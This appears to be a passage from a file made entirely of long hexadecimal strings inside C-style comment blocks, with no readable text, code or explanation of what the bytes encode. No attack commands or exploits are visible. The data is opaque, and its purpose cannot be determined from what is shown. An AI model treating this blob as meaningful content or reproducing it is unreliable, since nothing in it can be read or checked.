9e0d7bee6b3dab312b68aa420cf75130f95680bb3bb127d6b465f1298d3ad4495a202e34a4e475d1fbbef82a60743aaa6a4c30f5af7ecd1beeeb35c9f57684c2a910790d86c5a299831f0db09785e29586051e4217b41ea80fe36965497d488ed4c26816bfba11e96ea4d16316285f0d6b5c22a09a2a304031af31a95bb781fe693247b4c145990b9ceca32f14c95224fa6bd602a6ec50e491750307db4ef6f834bb619bad8c17f32a2ae3b65b1810ba5e534b2f2fca81965a383eb8c1b657dacfc8d6a99d1107a7ab3d8de1456c920ffb0df7a3f6d2495b9159b3b6199fd988edb154c572c8e8d94fcbabbd1eb6cc269cfc992c5308fad597dd7f872bf7f5e868a0c20740f8b1efefa26f6229a554a834cb1b0edc88ec5df8431ee395737743177e4c47851f0e0d10b91aee1100c10221b9868bfbca5f48cdf5742156b583035b5efc3d28bbf8710b4531a737384dd24c9e928db6943df1755d7a6d9ecd3e7ebe60b6fa741828d0f50d82fed34328c804f8c3ab104cba9347d3c0079afbe769ec4c133a270f89b6eb74c538a22be1cd16bc07c521d0e26eec19c37b96ca8d0c39a8faf4a0639386ba3b2a06acc06b8c29994a14c373570d7e807025e50b4f46bad8d941a494ddeb6f1f9fcd0fa4e572b81b958172a4a1364fc0c44fb01c1081cbc6f53370*/
/*a03baacac6f22f0c503659cbd3ae9550ee55a5a88a85b4e97e4469ddfa65f6a363a66507ca9dfebd933c6f7c6442522d5c8e8b60531ee40557bd6bd2e654e8fe768393daf8f3509309d72e204b589f179227835015023ecde600ea7baec3feb3462e3f5ad877a1490720ab034b57185f782b6cdfec6159327f4a4901632b6b3efdc9f9c6a4f0dcc41e842d023a19ecd55cc586c10767beab9f4b3fa3cafe09fc1d3b0cc0dc556f877b94c4b79e46f8040a5968675e621277f0f1b1dfe30227cea818e783e0b9af2c19ce84ffd6c387e06f9ded7e3e1a3bafe413fd2a8062c5af6f0b527460edc4f2385e5a50a7ef7aac1bb1b6e30f83a598fd0168b4b8881d5812f8de435b561ff064125178513317b3073801a67e0497692bf4186022274c99de26902d8d5b532d82b93ada71db745c1263e364bd1053f60c4d908104c620cdcb1b8eac00ddf28677b0424a719673175dcb85f3e8455941ce7702155c96c4e8292a6d197b43543f81e1027ba3e2f89fe787e519e7390bd9ee9928ea5e4cfed136ce0366e48166ed6e99a72d40445c23d91796b76672b852f80cda17ba8a1a5a42dd818ae94b8fbe5d1f98698182b91e9f228e745cd36f3e0e5ec1fd501ed3b7e18d4aeb5021c0fd01a6f00824f88776e0a2127d8897cf7ae1275b77282f48d3a626601fe12aecf72e071fe0f024836ebce5c4a99ad9c9816bc1375bcfdafb50978e574d84ca90089846479b3bf40063df611b926b44f67b606673bfaa59a1d2ed7e1ecfd54726a36716d2165ef31ce1d6cf6165b0e18ecce0c23985d44e2609bf071450c84b92292df92fdd47cf3bc3c071dfef68d8c8b0165f4c65368db9bde8981fadc49812f45343fbc67e40d24fe7bb6c6246cd92c245259f3eb155323bc8ba4e3341ee18dab040a3efa29ae12a7ef979cc23461e593c3f51efd5aa04910f25d4ec3bf37be51ed2a9fe97eff72d5b3d51d4a1e54671f7e7902470e085cb070f4b6b18da17b55179b43afac70b0bf57d3c9b2d3cf862de94777114205bc7ea62cad2c2b06cc9d63ed358908327dfb32a647da0d1a9668fada886d4fae8a9c0379ef6b37f45f74732acc05eb16d4b2df74ea0ca3a77f4d61a6367c080e4a4d4915ddd5c0068708b53054504e3825aece0eabe84b74cfa990ea08023873040dfd619043a95c932802270f6764b77bc845b6bb18b27ccef836626cb6de541db5cc8e14950582163c2871788f72d23378066648580f2d17aeef3ea202d74adbc0cf8d718926ac90480bccf61d0efaab732186cd4e5753d3cb6a0e07c27f213e7f669ae3fa1148ea4d4a6f33b874dd991efcafb3fdd3869c90b311adcee5a472fc4fa086986c3c2521a93934ad7d0c64f5a0d3a1dadbd8396853397c20a7a950f3844afab920470c1b79c4e6659405b0a065c4f7649c9a15cc15e521ead9e7105f0bcdf4c5565a5819fdd0f08c25a5feb1c91514e32dba06318be57db9de4365dc3da345b6c9124f65c66120aa6fd840c0ec5123513ad574900b538cbcc953aac83d2af627dff3e7db5b9c3d4aa06f8b1579828a81fc18392c6732c836d375826cbacce17d87ad9805cfb56bb6f14f9776b7eb0fbde1766f624deac4bae532d0be6cbf74e0ca8b9898a945da822a49dca4d203ef210dbde0118e2d8a8cccbc66e143c085dc295596b55a57ccc6d7a959ed3bea43a2a569c7084bcc4e7d5b6fa4efbd99594ea521d543ecc05d1e7620ca32d8fcc56fa6a5b53246b2d0338e7621c85c9ee3e830ef355dd89670c6a27a5449d0b436e4ebe39961f9fb1a6e7a80af6210b56bf7400f6e06e5a5fd2e495943bed9290069e64964b537b5883bb5a6e6318250a7f470e976a6899091831f200f392786e7dd217132ac9e4d668656f6adf77a686394db7ae15d1597f993626d002f7c37d53dd3a1d2377035bfef93d697cb4a36741ae1087c97e63275fd2903cbac59f5f54f8cafdc23a17c2b6f3b63163c30d9ffa009f1c8787d5bdb83bdb182ce023e68240296b5b0cf79e0244d18d8544ea855cb66fb885364816222901c078ba408c5bc0a3de161e082c8975d20b68c2c26061f361f7fd71585fd7cca5de44a859f18eb27919de6db9debd7f1384f584192ef6880178fa80ebf02f94bc3bf38749d84508b65ca48adf8d7dda8b3e4fad877ffafd836fc3cae0b30a91a19edd953a06f9873ab7419c0c64c9e684836f6e7721a4e2b0582c11a99bba13788e28dd13871ecf089f0ebfa5b6fd1aacb02020b5bf5df139c0647798a8f9caee1145dccac425546addf1dc4fa0ab3c9f7954cc384ee2459949c43550a5fc3cbfe5b2dcfade7c64b9e95db99610e472eeeda9f8146c2f325ed23781cd511b143704f0ccb3d42bf938b60494befe6f0dfa4e418b380604c45447e51522f21d3a3bd1c44dce5a3600e37b49fea7e223513b7044e9ce9347f27b77e1e2e08e2a19aaa44d0d854b22463f28d80de23d52b524933e3bd562f30d9b815024af5e7f703aea5a957aee1d427c3390e3975b064114de4373aefa7e3f5eb29805736ea556fa314549c321c2559bff4fb828e70a22ecfc0e5a3ecd731513122178208932cbda494e205d63debe3b85bef17040a4a32c3c0375eb8fdd020af95f17213fe1fe3bbdf751297033e0e8f34509766e5ffea7fe4db5d793754989b28ff7c8145342579b1091fc72a968ab2522f3e70106af34eb464a4fe04e6d7a2b2706e6ded721ea7fbe25371249b4a80eebc9433e52c62b08b0b9846e8dbbd6f6f98c41e885fc7aa469a0ef5e00810a14da345517a2538a5fd4ad0b37758b3ae120be0abc9a5e524ec5*/
/*c09e57f76ed53036f95273b375577e8c759348fc9a78a52f0f20314fdf380001ce92a158a39ec8f40fb0b1fbf237d626eeb9e2e6dbee0005858d1353cb4ed6da9f867d8918edf2d73c445a3d9b71265a3ea89e842a4d2d94ba84741197cdb40a493d8d9a4765f0b404d1c00f2d56c6568a05cc97596e12860f43525d411953279cb4bd64d783e947011b0d5cbf9891ea1cffae992e3888e509ae5a7eb1cd291ecf8bb3b1f80fc6e477ba050e52437b8eb613a146605979d887c91c7483408024e551f1a42467751f132b6e36cf36ae152ff1c491475516b3357658f3b34f5b911d6b5953e7550c4553d8d60fa60f6c259b4436d201a7792a84019ba2f8fc17f2b4bf3f91f7b547005a9d102b74951d84c8309e52c06c4ba37743e5c5c370f027154b320627bfb491384659ae72f0346c95ccb103d19587f6f0e03d1c38c9b076d1adde8c544c1dff07587f6954afd4ddb6d8649a5477dc6a19c49c60620f18d3c2215c9f384768e1fe077ebe051ae2f43b7a20008914e1ca57038a97ee3989fcb1d7e6d543d0e3f104581e827124fb3e691bd1490f3b709d2c7912a3c6a69e05abc37eb407c3c788dddcccdc6353d010300ed495560a93f3f0d98918ac8ef72a9aad3177e5fd1e9c2a0e38ae6edc4b14ad6fd35d04dbb5cd5c15d3c2aa1f38800ef4deda8e3ab3fa15afbadc4e9addad64fef5df518f8feae105a7e5c9211c08146f690e036026592c3f09c3305544126ccaec3d024f0291e352028fcf1e299243a284718e9e626efc2f30a4ca0acb795adf8eb6393d772436f5858a611a3607e81e13fe4be5e1af95cbc9ea079e669d83d1c819a7b06f25922cdc434618ad6915c0907b2ca2b4ea897ecfb39bb24740ec85b1fca544cf9da1da240aefd97219bb4485df21af0f817fb90bdda3e2b277a00f95be6b72c26512f1de3d4793911316edb632ea2c4743e45a1e2868102d71cd39c5243e75b41aaddde2e58ea0526757854aed0d846ea143785797fee29b205656aba76f1a92b42938fe16dd3e94ccde24183cfea529ed410858248ad2b4987ebd69ef17ba18f05e775936ccd5eaeeb4a15d7a4b7d60d67c947aa1119da7da7175dc63e097c97c2603464df6324c71b0dc46b9c4738dbee977fa1fca5498823d50fc3946878c7dfa892063913f1d646d6967a6a0a7c877d33816f55d1a3360a0a10dc8ea77ca0ae7a9d56f23c607fadaa145452b1c46105628c4564abf7c4c71754b76daef8465ee748318ba91add6f80bac76415e87087131555b23b79caef16a4ee62ddd501761e6967bdc6f41a817f27dee66abaa7c018f49697fb8486d71606a9a928aa9f840b97a128e67f69363e6a9810d3478d895620d5831fd218699a674e8d6faecf00a3b95febbb1785d358ec9ad686f2a4e6c6f00178c2a9630e1931e6e2634f96267e4cab5b82e6490ddd9c3064e9ec9f8afc69c6f0ce2075e7139c64ff8c7c6f9beb324801ead3a4228d1c6c27a608feea76737fdc3a52a40d7c862f2106b8d26c0cb1aa9475b3ac21eee15da971d70ccc01030e4a2a5bc169eb0b0641cb4852dd9643565e3477e90547dfe5f14e3d19d3f054e5f8c4098c1fdc2779f44d5f2285bb9f5198735e0fb9388d16839e81794909d03b7495d14de5ad42d6f321ad1178310b4e8939a7c732e8c7eb066ef6caac13cca3c2aaea29aab248131e8a5a1463d8d6b20768c00445e97ad2c29ecbe743508e3c790836b0221f779566022093636568fe8e7168568b56364f0f9ce76731581aecbb5c701b824e2136d7dbf66d123ecdd09eb0ce451e650fa76a47a57a992f6e696e525e04ea40cae24fc0fa9e700aa039eb8f85033d4f0e4e6beebcff7faa754f57e6dad28ed328bc4a633eb2ebca2a4d66f68f87f8dfc94f6ec7dd2898dbf5a3d9180d5920db17cd7dd961dd62a057ace263d3cdb2542189d9515de1412388531e73d34c60c3700ff710ced422419178069eb461798749a4cd0d466f3c14d88b39277f2cb4ade7bad2e8e1387ef35bfee454c78753694afc7a7b0da0059b6b955296fdad8126a36da81ab4cd9d54ec706317960c6ffa0fbe93887fc88d101f8b4d5ecd1a52466c585baff1b66e07f388faaa8f8010a19a9d694f89ab25af05cf8623c94d5b6050398c39213388a58eaba744b9cfcbce0732b12bd477e56df1bf3b41c30c16eac204a47c8753a91cb53cfd27c56e641e9490bfaef0d5054d7cd10c56724469d71278aa00037f5ff88c05750abb6ae18b862d3d8f33ebd327b500a18330498fc4cd64f93b9cfabe284b709ffb19aa576762b85112608bed82569d18423f29a6fc90005f5e78071c0231af353cde0545147f1d5aedaf41a5851f4d20bc32160d844d66ef40523a1af9a7a046225346d59127fb61c0601f913f729d6e10ef01abf90106a076766b51eeb8d932e5d516cbda9f5398134e92246a9910eb0ceb93dfc56d6ad128da0b47b4606e0a73e8d946f342fc307a24fcc7798b1ce7fd495e29a0a5607451250060b0adfc5f854a36bfbff8a89cf24dd3befedf4736ab3c1e9db00551aad80f546d26baf45211cef0379695230401a60e65a6ca58a567261a8cc3e68dd05bca6ce08c9d1a145e19e08ff470b200f5ee975fb34c81ed87e0677cdda85e4bc1e6c7ebaa978071e7c8709e86b09274f08b2db265cf8b1da39920aea1e45680de3806bf272be409e03b1f86ec7fe3a6147b6f80d32317058cb8e3003f5db27e698c7a51685571f894dfe35746d01ae9f1effb4ff2dd26df7b2b7b6560eed3860c3ed1f846cb18937fe8fe75048fe001914a6a14a8452f0f4b62558*/
/*cb1897f42d7deb123daa16d1daca4d8a5bf5ad0140a3465201104e471226ecc06bf669f72a4d360dcea1565e711b687d575388451380a6eff2e2867f3902cf1554b3a160dd736c492098b1c055e60b73d2378c9ef351d9129e7103a404f79207c997926463686860b682547f358863180880d635056ea51ed455dbed574b93c99d03f56018c9ac1f1998dd953b5f2f41d4b31ece818309c942033a16b23654f7d23cfc4b7d516a9efe386054cc8b8ec8a75482b3c035472b150058057ae86b7cadde3769cbda581467de72a1edbf8f9b822c7a750482dbeca757c6500b4738bf9bddef005fd10a7e629d4e1d90f3fb24624986e6db8e0b5074f5c9c6d0801b2ec3847bf7b945deed604f7876d0b86379f2b7a58855c2fc9f270f466d9883fd188da7243289d766e2d7f2ab9bfc8183ce74949f60642bc90f7e8bef187d1d89129ed17c05905a24cede046607bfd3f75dd02ffe65ae3791af79893d38d81f53fdea37fc8045209b2e7c34940aee65a87d2c60b6bf5c004aa60da38c6ebea5a9cf0e5b3dcbca6a7212e36d1820c9b428fd84194cb52ce16d6c51b56d3458e21c05f5f261e2cd8e860b8662f534f0b48c4cecab6a4a63046128e4166ddc27441f1afc02b0f07ebb9bf32c18b286af330f82db20a9cf41392a3854c7901942284661ad307db08908484a913ea550a5d10c23b47f42bf57d0cb3029fcc471c2acb2b602ae614e01c92d0d7560e55bea8ec132a41eb25ac8044e535736de3c3c3b3faa9a951ac42239987e88bed2675f58a9cf31a97ec98a93c9a52b647c6c5b0b05bab58536428538ea0e7e190fedb4634d901755b7cbb0a3b67526a28defaa076033dae26ba097e3e98f64720bceed28c98cc75aa8a424eb771a1a5523a54ee2ef4a69eb370ad6ff0e59b6a6a3bb60c04ab8ae1f20f5183cd187d1e91d98d77ca89e31c25b5d0c4ce7938dc5a6c740363cce61a650729949c7f71771e81c4d05aa315346e8d86609b4f3f4dab04415a9dc343b92fa7a9b052cdb3c0f44b120e7c3e0ffac7cd7aaee0da8145f87b080cc4fcb92a56b29547e71e2bbf6f7f4d4b0c8021ee1645cec04bc708e3df4eb9db6c080f87cee8467b98683227192f4c56cdea2eaa13af446645a5488346f0f0203d25e546cd7b7729bd0c29f2dc64bbd989fa4e94f28b90880b782cdb2c3517f468532561f40cdac253c1269a48ea31890b418ea6ac83bb00473627303c111c3ca9ff9142c101ac21804ac20b2e74da961a52d8535c9ba9d31612622a303e33c2fc190821197190801a61ebf4738d353e1d26ce993a7573de87a3b375791cba48199de90b7c9f36337bd4acc2717536b65738c49c7233d000b1724908df0e2630ed18b5a71fee7055bf9f0bb046468c6e691a3ddac323f4f9af85d11a4cfda25ab51c8590d1eeae9343a810a306bd7d73f0551ce01b08b7f7fab8d7cdeabbeae98b90cd2d4622fcefeb056e12ff7ceb8a79d4426812d1007432c32b2ab53de08f9cffd62f7732b0be7deeccb040b718c561a901e9632d4c15db421a92f3224bb7e5e48cc315cf55da110a7fc389100c441d77b2f784c21497fda2a6f2b55e1fd83aa0c9404b4131874e8b587e645d7da0e7794a41fc6bc1577600f8abcc729f314a2faf19ecb8e86d5374cf01d4b48497e2427c009ed4a7656033c3f3781c611057b8878a845f7326d22061ca3476ca528c2e155885f0a7c00ff505f905fda453721ff2ac9589c16cc411afe757d43f1ca8e3d19b1d383b67003a27496fddce67ed5745479295ccc031479ccb7abade715cf64ce836b6fa38708761681c85c44c35a4f883ba216bed38e55eeef8133bee46d1f7713b0e4800a8bc12dfe57aa46c16fb33c1deae904aabff307b2928f24657c513edcc2cd043d2e06d835b75d5758afe914abda95fb021db4dcaeeb6063e8611f3127581d33d541f14b3f271a4683111fd4dc1fae026a26ad4b90947b48018b6fa36cc706eee048873aa10d100b2dfb2445d407bd98e24313446a67a70dca3dbc63d3e685fd5834110368d9278a8b35d8c80ce768786a23070a1ba5a015417352a10b15185d9cd9ddba7eaab5249fd06b7d42764fc9a070ddb20b35c5df9907942a852405111c7afb843c649df514c00e727d28f493a9114389266f848ff43653b0be714422a6ac6a293e0df4fa27cdf1f00a66859192684bd3cc034a2972378dd26f9a682d956e7a6cf732624c2e69313cbdc208703b1bfeeb359592cdeae21384a881852bffc8d1617e55992239807f528f3540f8045660d4f3fe9516f2fd5757ed9a97235de043a45613e2a49c7ce490b9c53992f30a89c8a802b3a2da085bf4444f355ebd437a6031eb1e373cee4520ebfe6a165bc9d9446a3d0c1f41abe5541f0208f09144bf374039a1cb3539ceda2b32703da8f3229f8b600143104b9a0f2c93a0241e09dca205151141cdcadea6f57ae9b7567a5ecf11dc75a9be8a630ab608110460a442c663815124d372a64046063615897173e289aa3a9a38331e6e9fa45480b06239e9021c9fe51b4abb19d7ea2ac2013a3b8497f3788832b18ace5b7f597ffbdf968c663b8eaa7a58102328be6ae398d43b35525a40f0bd40a50d6b5aa720c27f413ba4178da879410ee9064c5c3a021c6062bcbc216347c721b6c971e69869190a7e3d1d43792d5de0bf39b71d400fd133320fa4cc48e238300a668eceb9528d734ebe596ad17dc58e3d0d7157077214cec1ac53f94bbfc85a57487898c45acca66a8731fc501281597cfe47180267dea37204a0a96451576a208b0d7d06f4e46a12d0de2cdbce0232*/
/*f5d874e633c1afdb7be085db16581435ad51d621bba673e137263832f0d590699c89da69e7f64160749407d6887319f285fdb6285d8fd0c5ff8913eeea1ff55009a6ab1d00d9a221489c6fe5f1d0d4aea81e78a4f88c8c2ab9e903e5e15e0c07068331d20ff28fbcc1058318f4b5b2207509c092d675d197f90d69d40a45c285ee5949085e6c59d1602b5657f4b5203346908681c9441c3815b5d5ce37da8a6487ab8c24dc54cbbcd0262320a955c521d43f1695144093eba0ba73521339fc14dce20e34fc2acf48bbe5ada02ca0dd64c775b8933661fe20e5766f35eaa1ab3b087f9600e51cd53e8af2c5dde037ced24335f22fa3e9cebcafeb6ddaa801864ffda103b364ac0e8b3f605b619825ea5cd36141965c6c82306a61786870905b80a93a5addd1c142eee6237bd6ea275290c87e6dd8f8e32e76dea42fef6ee40ea8090c814d37907c21b951c8001a1102dd4dfe95f171b13b4f932ad0c17d14f87e81e38140b3d2a5cbe78bc2a392d8b91ee7bb8688b232879a48adb6720db92831bba2c41816066c736fdaa38bcbcc49bba789925fa1a3dc4c0ef21df1c64e84fa4142a413a80588dce9f8f35fccfef3dcbe9b5f7f18c45ff13fea6ff7a5027537f2b630ad995cd8584caa646c364fd0e26e4c23945593aeec5052e3fb01e5787ce7c449a9ccdfd09cfa4e6ee9743f9c77cf3dcbfd6a1b9dacbdc71a066d9e4db07a34a9648dbaa94a46fb56e112a4c1fba96ce37d19ade2fa75f7f199e46c39b23831851dfcec74d857feae744691f4604b30795fcae152496e15055ab2fa289becffb385e29b41a7d376dc68603b10b5845888718898c85f4cd7e34536a322b2e942fd4e2ab5b1a431c00ad908afbbf9db0e858aa067446f0bf3b3bdb2923bd7d6e5e66467b5eb6310a296da336f3b2adead61428330265e41061b250b24cf891f8626da27b189d0d77bc869d3e5f9231292834c38315bb8931c820078e33faffed4258c704cc4f638e82b80f45d8bb017a86e00dd548abed678cfbc05afb9ff13fbc30a6aeefda2f956a1f36c0ad9b6e00fd9ff731b9d02ada7ee7fd725e28f8d615ede3c187a31fcc067b55464b18dc7ac4384aeaf956822a9e68d029542c5763faf8f603ea883232e8e3714ee36fedeb010b8fc171b6d7ab6973990d0ac5b502238d489d65f6fd14b7fdd04f23c92de5d74b00a704a71f7f02d9e3f9ea96834d43fcfb7dc06c882586b2d77c501c8228de0425765737b0d2e7f1e8cb98ee2937076aa9213699be007efc4720685e4e963649f6a76ce8645cac1d2ea969268de1151ea36f015a44f4cddf64a2fec13712694e79c3c2113613c0bbeb1d90a214a4639724bec560a87032bcdf77099a57708927d6be77c4408f43179adc3e470edb0d7bdef6ab0cf31372237b963d43d4f67427c51fb7819c052d0a40d034f6b18b7755ae94594c13caf4e67cbb2c1b723318784032f844c42278b2493c7480b341118b19f3da98c70a83d4e6896355da050db105d7c108f8bcc0c4f7e4441bbe253e73c15e955e603cb3be4e86f224f8960da374d454bc784bc3b709636d38e51e558ca69236d4a384838de8318c86746de1ea13dc2dea7db5eb1d35acd0f42704b73c1621a7cedc6f0a01dbd8f8dccdc94eb70387dcf0def8f2f8c336cc048514deb809e33b610a7e58c240ef33edeb46a5d78d4c9e27a1490a174c5c694aecfbf943144e9fff82b12d55dd0bfe9c343f94b208a4a88dede88b7372048cc7bea3fdb1083a04b888dd44944bc5c870bd84ed8790e062f3c93782265fb48100f7a7f76efebfc80c504b4906c81ed23e23b5bb4fcc9b041cd42ac8563716c1d33ca7e7c62723542784457940d74359f20482e2edeb5374fbb8d23c2ae1879d42e8b0dc7975de7ae328f05580216ab18ad23b767a1e0be7a045d40a2c1801b4e6ca85637e3e7e241dcd43c8dc99fdf3d45f20c44341eced1e315c0c73f0d020754b1d2bed329e52a6d2a740f83c4e84a4b240abf90fa9b6c36e5acb9954d94cc302d98bbfd2e2f2d527c3f131382c5a459379a9b9b4a6ed8e29bbcca6a557ec32e5c534afd804c5f21dab1a662888f5777aede3bcc14b5dd11b8b7f3930fda2092ead1c53fd3d5ae3ee46f4c489790e7721fa8edda19f19499de250e98b9adc1a1cf5f4b68ba1a298069aaa78151983c36aca5fc9648a6e16d34d23bb8dd8b99a6e786704108b1dd730648ee23a72f5a2776beffa6fb51cb06ec54a4c9f0f6dfc47f1debb2fbc612a17e5701cfeabd91ff29d44b587e3e6d37f750a044b11c084c80a68a66b9abe976b54dc40a8eb621d1f028b96e891b54ceeec02013d3f852add72dd99736a52dc87cd3d9198d6596323863c936155d2ebb256f36e7194f372210cb8ebf330603bf13eb67f4f297693f9f93cc5862fc017edaeff7b00ab1953e6e8dda3c44bd110b55271c494169ea57d02a0ea14674a2df47205ed1c7f52273e44a317e2dd8342be68df298e8021916a640f8166f5f8cb946455619bf7b5edfcfc6c5f3180d6a2dbdafe2bcc065223840e7d39368f5cf61f8568c30e9d9aecec5c0a4f350dbdd36fdbcc3bd76ba3bca33f14a4d7fd2af595dcbfd6476534092585ed5d313ea0c2f4b71c943f255fc247633a7650f7b7baad4611dceb5f2095d3b95367c5f26908e9d1b8f9b9d82c42c56432b47fc6084bd30f97018707b8fbff3d06de60944d4142a2c98968024c20d1e2270597a7187abd8a19d1111fc0e0a4489092ccabcee6aa1f7a164050f6e944f7fd810a8e552887d5e8524a84fced8889e604ba54c79f01062830d63bd8d92*/
/*79d5ea97008a07cbee5521f842fd5be7bdd601762fd5b205e61805ad94196685a9ac21de36943f23d8d9740314502792ae34fd40fb317a3d57a84c37c4d6746208f1f238cb4e5cc4b6af8d877e8fca4ae8e9001b08778333a88a92f0950c5fe4add138503adcce4a932b6a10eba911f5835a540f9470662a7341ccfc511d33eb2b9114630a01358e2d2a8132987459184744bc75a92a55df8020192a02af4612d7280f6c93544742b622df2569c7c4c60d4eb8f02dbed99d384db8779788e5ee10231accfa70b9a5d7d0e6899f7c1beba34307c65c0ce975c2839d481442bb251446c2f3d2a571264fd6ac39d52a68a9c2d555df0908995f5729be382b168fe23be82e0f5b567be6e3f7829990196cae0b8ed0ab834bb5128f1df0ff57e3b96490ae3e65e03ad3db7a47286358d420d125877bffefded04407ee7ab51e79edb947a0d28579a7c8ee9660c6f714ac12a9c249ed6836c9228b9a57b8d635da5395b622280b7146aa477795128cc3b19a5517044fd7a3f7a81f472ee9201febff3c6280ee5cbe78cf7f6ea1634d1cfd316a4eb4af99a16094e362b98a373c87de79fc93486191809d51d6e24ab62a73b4c15c1227d61d0ee134ca884fd0789c74cc78aaee828ca1019bccfda61862f7679b4ddb716cdcf0abd787e130ffd9bce46e67dfe4bedb8b8679ef793d43d12347233e5c88690f1adcc61d9aa2d105e3b1fab435d585289c6a9a3fa6357f96af0d9d7a699072609a7b22421e6610f0958debce5761a496286aac23ff9229752047d3bf3d63473d33476d2edebd7428b6865e270084921cd41027af16d6e5dc407d8c51009d51fa9d4715d5dbb5a6b004c68706e226a096727d521265bda369fd9c5059ea82824f581a9838ae9799e0ccbca48a3b8278a81112eb0ce34bf89098adfc0e6cdadacee6f1b14e0fd75f52311cc5ac1aba937d0a3440e021123002390a5a0c4ce1d0e69753beb37439211917ec4f6a0befe964a6fdfd2678028d259f36ee8ce0285e7f0f8beba869f7a486519208a75acdd647ea545e59b993773c2cad58eb1c27da7b8f7eb8999e54e233d2fc459d7e9559fbb87d70c5606d253feb197f7dc5d578ff59fa58ea61d08cba11159d80c070c5a2f20e2a207741a91cb6fccde9cd7239c160cb2770bb506ce3f16b646f6a696c7ad8f0c4154f6ec1b08ab91f3216bc8d0ce2e3c33014212266de4c0154c7abadc64edf83484edb43072077ba7d85998f5c42d69eae5132ad8720d2d872fb7d739c3f429146038464ad925ee4ce90a39ca36efa2c9cd7f45a0e820cdf9a0a37ed8c49726c4fb9337d2aade7c603a8ec6ff06b84a8a5aee23b300b6f8596960fcae94ba5196c89de3905a33d91d634233e4bebc6d188c47302f5baaba446ecf424672a289bc66f75b09d95e9841360f5d7ab3b6a7f882372e4a1de60d0c9ee5978c8e9e83f349244721a7b967541c3d026dd0a53a0b79f2eaf7ecab8384da1a0d02307bbfbaedd04f81324ebf1b2b4cc6e6b393f45c853c01637116a805a8e4f9c65dee3d291c377b7b366fb89defe67d5ef7be0b2a92acf6dec5e26f3124e9a175ac3bcffbd5a094d3f256998eae8fea0bb14a4e6b28b5b3941d122211969f377829fd85cdbc5be19384c2d84f92a2f252dc45a90a4b8c90172ac9cfb76a3b71743eb4e89d70228bda9f933cefd7dde9734e9281280a8fb0dfd345cd4698d7b62f36de93b03837e3c2e528ac7a1d4d19acde6ab5754a366cb0b360b59da0a387f6cc2e1f5797c7bd11de29c441da8cc5cd56973c050b0c119d7663adb369a945b3c2c9c2ba7304853a8bd1553b965f985946e60b12341bd47e73575281d9b653169378c90a1aa1fe0b382176837ebca1299cca1d6b357d6512d4a7c657c034ed8052c69a18ac80abb4cd81635034dd7999b554fdfcc644e798e6d9c6f98c84cf8517d4cbc93a2fdeb333f8b350051be772e4f9e068e59adfae3e07098479e878cbc0f4eadf8b1c880b1758c1e76c2b88ea5fcd501011063a8e7bed1e71303f292f6fbd9571cdb92f173afb228d732304fa266609eaf217462893a348bf581ad305544f7df2a0ddd3206c2902eaac02fe195af6a76263e85ab9b44b3db702ac2f9695780be698fca72c2c5587138a8ad054aca8111da1e62e0044afb2a48550c937d870876e1dcf89febc2dd587e58cb4ba4fb331a4587a0c6b598696c3b3705b45c036f32be4a3255dd3b310f1ba03c5b7534133eb690daf8009f78dd4d6070431560931ef8bcf88907f02067bf89624e470c470e8cd12e8dc19d0e27b30fd9d08b7e574b142f3979734a0e49f92465468532fcb8d15013a806a31d5cb76f03449701fba9338ddc56b2bab0a9a419e42b9af4dc8eecacdd2fbc2c724b3106c7bb5e5ea97d1fe74d073e129202353eb521d71bd3f5b44c1e296cef46de5311509f724d883190fbe77737dbd6cdd43a737542906d380b9f98082e42b1f982214fe71405d44061fd6ea90ad936eb8e7ab2318d83e61e4f981d30b821c43abe2fc3f405efb8d07dcd41863945aa820f65828a01067fad8b2ea3c01cac6b15e9a2c15dbb39928941aa9b6c9954cbe3d636ea868d376ccad66f03210793064de0e0fcf3e1869ab440b85b8254506f2b2c9639ae3ba8bfeb8ca8daa9aeb9c9bfee02955b3cd564d69b7a3488e5af02886226f98f74562e44474cf59a278875b8fb16b78603c0dc7bdefe8f5aea91f8ff8e84e2a4e36de139814b738533ec766bf08a48fc3f62068848a9d62720ebf2186caeada10de06528cbf3797d54699c3e20d9171c87275db137a6278a0e3fdd93*/
/*378da8a07729c08800e194038acdc685c0a6a84b3760b9debb141f8e40f0a31baca6b560036c5fac426d5a4e7656a2e442d565f543621eac4dc62b9b378a38ce357aaffce633b1423652b528b40cd7ceab7e4a76a30475cae5b31c57b4b3baf3d5dc74a3f68f9f2df5abb998d52869cb5d5be7caee18171eead34fa583d842a48bca1db62cf848ff55bb86675585eec31a1c5e136f22435d759d63b94d4f0f0fe2645f05ee480266348f9e8eaf02a50a291229555c023240d04e4d85beddfcb692ee487db0dac5dd98264ffb07e7cd26744b0fde27c9261816fc53b6133d9310e4e265ae65a5cfe477f3fb9ee2e7922b85d50c4bc935c67ed5cab46c7cdf25caf5adfa312ac9d3710c27bfd11109dc43d1f66eec90de06d61529c686e388abdd75f81e3568b0abe45af881a4c6c491472151cc782ed9ea0b60fa1eed85b51e999b7acd0bd9e56e31484018b03cf9620043ca0577f9b6e96e4a8b757f312a237c9fe757f9d39ed31dc24e3c45f69a8aa49dda979302bf98521805b119b42f0b3c9f8b4001751139967685e6cb05afb22725124373ee6392ca5c3dc74776892d73faeabaa99d0b8d1829fac2bd6a42ef79ce7fbbb96870c1d8f8cdfb56138aa3a9ef6e85d57afffa275ca2e4bc029e4affadc8f22bfecb433e154d99145db95dbeba7a40440f76223d02a9351d05ec92233e4b5740bf2f47de8af911fe96034e7546a1ef522be3ae796750398b9abcb31865b4a237db32ce3c4e44f118b1d9d96f677b99d9a50e1586be8966849821239ade960b2756e7da3b4278fbbf61b5f22ca9297c2e85fba3d8fb02d39e82a6650d5802b51fe25dee70a8de06aeb5e5a2c965e13e905686b7d056f971ddbac3eabf002b0f210c192c0deaa4930b6f0a45e73ee0c4fe98060dee03f0e4e3cea396341b1696a31ffe43f2117737d0ac26d17fc7ac1eacc7bf220110de157703f2656c3ec54c15a3e70afa5348b52e2847ee7c0df7b9ffeb1a0a53c834a7105bd875650354d4eeede69a37d42499b7cf450374f1699aae67fbb8a25f80d8c60c8edf060c004345ae5b960c13beca9a1359847d62558035b08c69988902601617bbdf804d7f2557af46e6354343a640d1a6ca90561a566d31bd4195f14ddef0d6ad7cdebdf591e3b4749adec324366168f98e3ccd91225c38e7337cf7d7542a8a37788462614e0f3cbf5d08e07f543c75cf5931b148e05108a2f29984791e746cc0691c147d2adcfc974d08cc7c2d6990ceb57968fc05355d43a443e9349bc60c95b6b137f1f7834777bb876b8304186ce09e48def42a74282f0cdf40ea44a843693093443b99924175ee069c2c98589961de9834e2bf28f37405b57d23260b3857e59c955370f9c49e7c7f48ed0ce7802270f1bab4e1d8f57f3a1aeac74d978b0a639f255386437ef321e0246d1a9aea5